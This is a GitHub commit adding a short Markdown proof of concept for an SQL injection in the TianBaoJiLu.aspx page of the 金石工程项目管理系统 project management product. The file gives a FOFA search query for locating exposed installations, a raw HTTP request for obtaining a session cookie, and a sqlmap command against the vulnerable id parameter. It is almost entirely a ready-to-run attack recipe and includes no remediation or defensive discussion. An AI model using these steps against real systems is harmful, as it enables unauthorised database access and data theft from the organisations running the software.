Create 金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞.md

This commit is contained in:
wy876 2024-03-28 19:33:51 +08:00 committed by GitHub
parent 709b8cfa6d
commit 27506bd22b
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,21 @@
## 金石工程项目管理系统TianBaoJiLu.aspx存在SQL注入漏洞
## fofa
```
body="金石工程项目管理系统"
```
## 先获取cookie(响应包Set-Cookie)
```
GET / HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
```
### sqlmap跑注入
```
sqlmap -u "http://ip/query/shigongjihuajindu/TianBaoJiLu.aspx?id=1" --batch --cookie 'ASP.NET_SessionId=pcqx2zs4gsnqprd5cvhtodmk'
```